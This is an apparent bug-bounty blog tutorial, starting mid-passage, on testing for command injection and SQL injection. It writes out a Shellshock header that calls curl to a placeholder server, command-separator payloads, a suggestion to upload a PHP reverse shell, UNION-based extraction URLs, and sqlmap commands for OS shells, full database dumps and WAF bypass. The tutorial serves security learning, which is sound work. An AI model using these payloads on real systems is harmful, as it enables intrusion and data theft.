[ ping -n 10 127.0.0.1 ] : If the server takes longer to respond, it indicates command execution.

4. Check Error Messages for Clues:

Some applications return error messages like: sh: 1: id: not found

These messages indicate command execution is attempted but failed.

2. Automated Testing

You can automate command execution testing using tools:

1. Burp Suite Intruder

• Use payloads with common command separators (&&, |, ;).
• Look for differences in response times or output.

1. Commix

• Automates command injection exploitation.

Example usage: commix — url=”http://target.com/vuln.php?param=1"

5. SQLMap (For SQL + Command Execution)

• Some SQLi vulnerabilities allow command execution via xp_cmdshell (SQL Server).
• Example:
• sqlmap -u "http://target.com/index.php?id=1" --os-shell

3. Where to Test for Command Execution

A. Web Inputs

• Search bars
• Login forms
• Comment sections
• File upload features (try uploading a PHP reverse shell)
• Signup forms (some applications execute commands for email verification)

B. Headers

• User-Agent :
• User-Agent: () { :; }; /bin/bash -c 'curl http://your-server.com'

X-Forwarded-For : X-Forwarded-For: 127.0.0.1; id

C. API Endpoints:
Some APIs accept system parameters
GET /api/ping?host=127.0.0.1;id
Inject payloads into query parameters.

command execution vulnerabilities are among the most critical and rewarding to find in bug bounty programs. They are high-impact, often leading to full system compromise if exploited. The key is to practice consistently, refine your methodology, and always follow ethical guidelines when testing.

🚀 Final Pro Tips for Bug Bounty Hunters
✅ Follow Ethical Hacking Guidelines — Always report responsibly.
✅ Practice in Labs — Platforms like Hack The Box, PortSwigger Labs, and TryHackMe are great for mastering command execution testing.
✅ Keep Notes — Document payloads, techniques, and successful attack patterns. These notes will help you when you’re on a real hunt.
✅ Stay Updated — Web technologies evolve, so keep learning about new attack vectors.
🛠️ Small bricks build a big palace! Keep grinding, testing, and improving your skills! 🔥💪
👉 Don’t forget to follow me for more hacking insights! Happy hunting! 🎯🚀

What is SQL Injection?
SQL Injection (SQLi) is a type of injection attack that allows an attacker to execute malicious database queries or commands. This can lead to unauthorized access, data leakage, or even full control over a web application’s database. SQL Injection remains one of the most critical vulnerabilities commonly found in modern web applications.

Types of SQL Injection
1. In-Band SQL Injection (Easiest to detect and exploit) :
The attacker uses the same communication channel to both send the malicious query and receive the extracted data.
Classifications:
Error-Based SQLi: The attacker forces the database to generate errors, revealing sensitive information.
Union-Based SQLi: Uses the UNION SQL operator to combine query results with existing data from the database.

2. Out-of-Band SQL Injection (Used when direct responses are unavailable) :

This method relies on different communication channels to retrieve data, often using DNS or HTTP requests to exfiltrate information.
Classifications:
Exfiltration-Based SQLi: Data is sent to an external server controlled by the attacker.

3. Blind SQL Injection (Harder to detect, as no output is directly shown)
Attackers must infer database behavior based on response delays, boolean logic, or other indirect clues.
Classifications:
Boolean-Based SQLi: The attacker sends queries that return different responses based on true/false conditions.
Time-Based SQLi: The attacker uses time delays to determine whether the application is vulnerable by observing response times.

Where Does SQL Injection Occur?
SQL Injection mostly occurs in the WHERE clause of an SQL query, where user input is used to filter data. A typical vulnerable query looks like this:

SELECT * FROM users WHERE id = 1;
This uses where clause and retrieves the user with id 1 and if and attacker uses a malicious payload like [ OR 1=1 — — ] it may reveal all users .

Understanding SQL Injection Classifications Before Exploitation

1. Error-Based SQL Injection : This technique forces the database to return error messages, which may reveal sensitive information about the database structure.

2. Union-Based SQL Injection : This method uses the UNION operator to merge results from multiple queries, allowing an attacker to extract data from other tables.

3. Blind SQL Injection : When no error messages or visible output are returned, attackers infer database behavior by analyzing responses, using techniques like:

Boolean-Based SQLi: Manipulating conditions to trigger different responses.
Time-Based SQLi: Using time delays to determine if the injection is successful.

Detection and Exploitation Phase

Now that we understand the classifications of SQL Injection, let’s move on to the detection and exploitation phase. In this stage, we will identify vulnerabilities in web applications and learn how to exploit them effectively.

We’ll cover:
✅ How to detect SQL Injection vulnerabilities
✅ Testing for different types of SQLi (Error-Based, Union-Based, Blind)
✅ Extracting data from the database

Let’s get started! 🚀

Detecting SQL Injection Vulnerabilities

To determine if a web application is vulnerable to SQL Injection, we can test how it handles user input in SQL queries.

Example:

Consider the following URL: https://example.com/page.php?id=12

We can check for SQL Injection by modifying the id parameter:

1. Testing for Error-Based SQL Injection:

Append a single (') or double quote (") to the parameter:

[ https://example.com/page.php?id=12' ] If the application returns an error like : You have an error in your SQL syntax

It indicates that the application is vulnerable to Error-Based SQL Injection.

Testing for Blind SQL Injection:

• If adding a single quote removes or alters the page content without displaying an error, the application may be vulnerable to Blind SQL Injection

Confirming Blind SQL Injection:

• Append a comment sequence like ' --+ to check if the query execution is manipulated.
• { https://example.com/page.php?id=12' --+- }

If this modifies the page response, it confirms Blind SQL Injection vulnerability

Once a vulnerability is detected, we can proceed with different exploitation techniques. 🚀

Exploiting SQL Injection After Confirmation

Once we have confirmed that the web application is vulnerable to SQL Injection, we can proceed with exploitation.

Step 1: Determine the Number of Columns

To find the number of columns in the database, we use the ORDER BY statement:

https://www.example.com/page.php?id=12' ORDER BY 4 --+-

➡️ If the page loads successfully, it means the database has at least 4 columns.
➡️ If an error occurs, reduce the number (e.g., ORDER BY 3) until it works.

Step 2: Identify the Vulnerable Column

Now, we use the UNION SELECT statement to find which columns are vulnerable to SQL Injection:

https://www.example.com/page.php?id=12' UNION SELECT 1,2,3,4 --+-

➡️ If any number is displayed on the page, that column is injectable.

Step 3: Confirm Data Extraction

To verify if we can extract database information, we add a negative sign (-) before the ID value:

https://www.example.com/page.php?id=-12' UNION SELECT 1,2,3,4 --+-

➡️ If it displays 2 on the page, it means column 2 is vulnerable and can be used to extract data.

Now, we replace 2 with SQL commands like:

https://www.example.com/page.php?id=-12' UNION SELECT 1,@@version(),database(),user(),3,4 --+-

➡️ This will display the database version, current database name, and user you can use the commands one by one also.

Step 4: Dumping Data Using SQLMap

Once we confirm SQLi, we can automate the process using SQLMap:

sqlmap -u "https://www.example.com/page.php?id=12" --dbs --tables --columns --dump --batch

➡️ This will list all databases, tables, and columns, then dump the data.

If the web application is protected by a WAF (Web Application Firewall), we can bypass it using tamper scripts:

sqlmap -u "https://www.example.com/page.php?id=12" --dbs --tables --columns --dump --batch --tamper=space2comment

➡️ Tamper scripts help bypass security filters by obfuscating SQL payloads.

Wrapping Up

I hope you’ve learned something valuable from this SQL Injection tutorial! If you found this helpful and want more content like this, make sure to follow me here for future updates.

💬 Got questions? Feel free to reach out to me on Instagram: @xabit___

Stay safe, keep learning, and happy hacking! 🚀🔓

Bye-bye, take care! 👋